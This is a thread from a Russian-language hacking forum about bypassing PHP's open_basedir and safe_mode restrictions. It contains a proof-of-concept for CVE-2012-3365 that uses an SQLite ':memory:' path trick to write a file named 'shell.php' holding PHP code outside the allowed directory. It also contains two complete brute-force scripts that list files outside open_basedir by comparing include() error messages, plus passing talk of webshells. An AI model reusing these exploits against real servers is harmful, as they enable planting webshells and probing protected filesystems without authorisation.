Старый 30.08.2012, 07:50   #11
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

По идее да, так как такие же проверки использовались по всех расширениях:
sqlite, sqlite3, pdo_sqlite

Последний раз редактировалось BlackFan; 30.08.2012 в 08:15..
BlackFan вне форума   Ответить с цитированием
Старый 30.08.2012, 09:56   #12
l1ght
 
Аватар для l1ght
 
Регистрация: 04.07.2010
Сообщений: 32
Репутация: 32
По умолчанию

Цитата:
Сообщение от 12309 Посмотреть сообщение
5.2 уязвимы?
PHP 5 < 5.4
PHP код:
    mkdir(':memory:');
    $database = new SQLiteDatabase(":memory:/../../test.php");
    $database->query("CREATE TABLE foo (bar STRING)");
    $database->query("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')");
    rmdir(':memory:');
спасибо BlackFan =*
l1ght вне форума   Ответить с цитированием
Старый 29.11.2012, 15:51   #13
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Не против, я пропиарю еще один способ? >тыц<
(обход сейфмода при PHP+CGI, любая версия php, и при fastcgi тоже кстати)

Последний раз редактировалось InSys; 29.11.2012 в 19:23..
InSys вне форума   Ответить с цитированием
Старый 29.11.2012, 16:37   #14
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию

Цитата:
Сообщение от InSys Посмотреть сообщение
Не против, я пропиарю свой способ? >тыц<
(обход сейфмода при PHP+CGI, любая версия php, и при fastcgi тоже кстати)
Попиарь, только кто тебе сказал что это твой способ?

Эта тема была известна всегда, в r57 даже встроено было, ну и Элект детально описывал на ачате ещё в лохматые годы )
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 29.11.2012, 18:11   #15
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Специально посмотрел r57 - нет там ничего похожего. Да и описания применения нигде я не нашел, и постов от електа таких нет: гугл. А то что это может быть известно вам, это не значит что это теперь известно всем.

И поправьте меня, если я ошибаюсь, но если я первый опубликовал какую-то фишку, то это дает мне право называть ее своей. Или нет?) Это к вопросу о том "кто мне сказал...". Впрочем авторство мне не принципиально. Так как это документированное поведение, и документированно оно еще в более лохматые года. Просто, возможно, есть те люди кто не смог догадаться использовать это предложенным мной образом.

Последний раз редактировалось InSys; 29.11.2012 в 18:20..
InSys вне форума   Ответить с цитированием
Старый 29.11.2012, 18:55   #16
Jokester
 
Аватар для Jokester
 
Регистрация: 01.07.2010
Сообщений: 252
Репутация: 155
По умолчанию

угу, перепутал, это не r57, а PHPJackal webshell. Дорк в гугле прям по этим ключам, а Элект в привате писал, но учитывая что БД слита...

Турки ещё это в свои шеллы пихают, но искать я их для тебя не буду
Вобщем нервничать не нужно, это велосипед, но если хочешь - это конечно твой велосипед и ты сам его изобрёл
__________________
------------------
Jokester вне форума   Ответить с цитированием
Старый 29.11.2012, 19:37   #17
InSys
 
Аватар для InSys
 
Регистрация: 13.03.2012
Сообщений: 17
Репутация: 4
По умолчанию

Какбы и чужие шеллы я не ковырял, и бд ачата в руках не держал. И всеже, повторюсь, в паблике инфы по этому поводу нет. Но впрочем, ладно, хорошо, я изменил пост.
InSys вне форума   Ответить с цитированием
Старый 08.10.2014, 08:24   #18
zuzzz
 
Регистрация: 24.02.2011
Сообщений: 75
Репутация: 7
По умолчанию

Еще вариант чтения списка файлов за пределами open_basedir. Так же основан на разнице текста ошибок при существующим и отсутствующим файлом в include. Используется переназначение include_path.

Код:
файл сущестует:
Warning: include(): open_basedir restriction in effect. File(D:\site\file.txt) is not within the allowed path(s): (d:/site/www/) .....

файл отсутствует:
Warning: include(file1.txt): failed to open stream: No such file or directory in .....
Код:
<?php
 ini_set('display_errors', 1);
 ini_set('display_startup_errors',1);
 ini_set('error_reporting', E_ALL);
 ini_set('log_errors', 0);
 ini_set('html_errors',0);
 ini_set('max_execution_time',0);

 $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
 $alphabet_len = strlen($alphabet);
 $maxlength = 3;
 $str = '';

 $dir = '../';
 if (isset($_GET['dir'])) {
     $dir = $_GET['dir'];
 }

 $ext = '';
 if (isset($_GET['ext'])) {
     $ext = $_GET['ext'];
     if (isset($ext[0]) && $ext[0] != '.') {
         $ext = '.'.$ext;
     }
 }

 function inc($s,$i) {
     global $alphabet_len;
     if(!isset($s[$i])) {
         $s[$i] = 0;
         return $s;
     }
     if($s[$i] + 1 == $alphabet_len) {
         $s[$i] = 0;
         $s = inc($s,$i+1);
     } else {
         $s[$i]++;
     }
     return $s;
 } 

 function check2($s) {
     global $str,$alphabet,$ext;
     $str = 'a';
     for($i = 0; $i < count($s); $i++) {
         $str[$i] = $alphabet[$s[$i]];
     }
     include $str.$ext;
 }
     
 function eh($errno, $errstr, $errfile, $errline) { 
     global $str, $ext; 
     if (substr_count($errstr, 'open_basedir restriction') > 0) {
       echo $str.$ext.'<br/>';
     }
 }

 set_error_handler("eh"); 

 echo 'open_basedir = '.ini_get('open_basedir').'<br>';
 echo 'include_path = '.ini_get('include_path').'<br>';
 echo 'set include_path = '.$dir.'<br>';
 ini_set('include_path', $dir);
 echo 'include_path = '.ini_get('include_path').'<br>';

 $s = array(); 
 while(count($s = inc($s,0)) <= $maxlength) {
     check2($s);
 }

echo '<br>end';

?>
проверил на
php 5.3.3
php 5.4.4
php 5.6.1 (windows)

Последний раз редактировалось zuzzz; 08.10.2014 в 08:52..
zuzzz вне форума   Ответить с цитированием
Старый 08.10.2014, 08:41   #19
zuzzz
 
Регистрация: 24.02.2011
Сообщений: 75
Репутация: 7
По умолчанию

И еще вариант. Так же разница в тексте ошибки. Если файл существует, то путь до файла вида "/../file.txt" нормализуется до вида "site\file.txt"

Код:
файл сущестует:
Warning: include(): open_basedir restriction in effect. File(D:\site\file.txt) is not within the allowed path(s): (d:/site/www/) .....

файл отсутствует:
Warning: include(): open_basedir restriction in effect. File(../file1.txt) is not within the allowed path(s): (d:/site/www/) .....
Код:
<?php
 ini_set('display_errors', 1);
 ini_set('display_startup_errors',1);
 ini_set('error_reporting', E_ALL);
 ini_set('log_errors', 0);
 ini_set('html_errors',0);
 ini_set('max_execution_time',0);

 $alphabet = 'abcdefghijklmnopqrstuvwxyz0123456789-_.';
 $alphabet_len = strlen($alphabet);
 $maxlength = 1;
 $str = '';

 $dir = '../';
 if (isset($_GET['dir'])) {
     $dir = $_GET['dir'];
 }

 $ext = '';
 if (isset($_GET['ext'])) {
     $ext = $_GET['ext'];
     if (isset($ext[0]) && $ext[0] != '.') {
       $ext = '.'.$ext;
     }
 }

 function inc($s,$i) {
     global $alphabet_len;
     if(!isset($s[$i])) {
       $s[$i] = 0;
       return $s;
     }
     if($s[$i] + 1 == $alphabet_len) {
       $s[$i] = 0;
       $s = inc($s,$i+1);
     } else {
       $s[$i]++;
     }
     return $s;
  } 

  function check3($s) {
      global $str,$alphabet,$dir,$ext;
      $str = 'a';
      for($i = 0; $i < count($s); $i++) {
          $str[$i] = $alphabet[$s[$i]];
      }
      include $dir.'/./'.$str.$ext;
  }
     
  function eh($errno, $errstr, $errfile, $errline) { 
      global $str, $ext; 
      if (substr_count($errstr, '/./') == 0) {
        echo $str.$ext.'<br/>';
      }
  }

 set_error_handler("eh"); 
 echo 'open_basedir = '.ini_get('open_basedir').'<br>';

  $s = array(); 
  while(count($s = inc($s,0)) <= $maxlength) {
      check3($s);
  }

echo '<br>end';

?>
проверил на
php 5.3.3
php 5.4.4
php 5.6.1 (windows)

Последний раз редактировалось zuzzz; 08.10.2014 в 08:46..
zuzzz вне форума   Ответить с цитированием
Старый 09.10.2017, 23:20   #20
samu6
 
Регистрация: 09.10.2017
Сообщений: 1
Репутация: 0
По умолчанию

Цитата:
Сообщение от BlackFan Посмотреть сообщение
Короткое содержание предыдущего поста

CVE-2012-3365
Создание произвольных файлов в формате SQLite-базы за пределами open_basedir.
Уязвимые версии PHP
5.4 <= 5.4.5
5.3 <= 5.3.15

Мини PoC:
PHP код:
<?php
    mkdir
(':memory:');
    
$database = new SQLite3(":memory:/../../shell.php");
    
$database->exec("CREATE TABLE foo (bar STRING)");
    
$database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')");
    
$database->close();
    
rmdir(':memory:');
?>
PS: через данную тему был поломан квест бечеда)
Подскажите пожалуйста, если данным способом создаются файлы только в пределах basedir, а за ее пределами по точному пути выводит ошибку, и создается папка :memory: в дирректории скрипта и не удаляется, версия php уязвима, сервер VDS одного из ру-хостов, значит пропатчена бага?
samu6 вне форума   Ответить с цитированием
Ответ

Метки
продолжение следует...

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot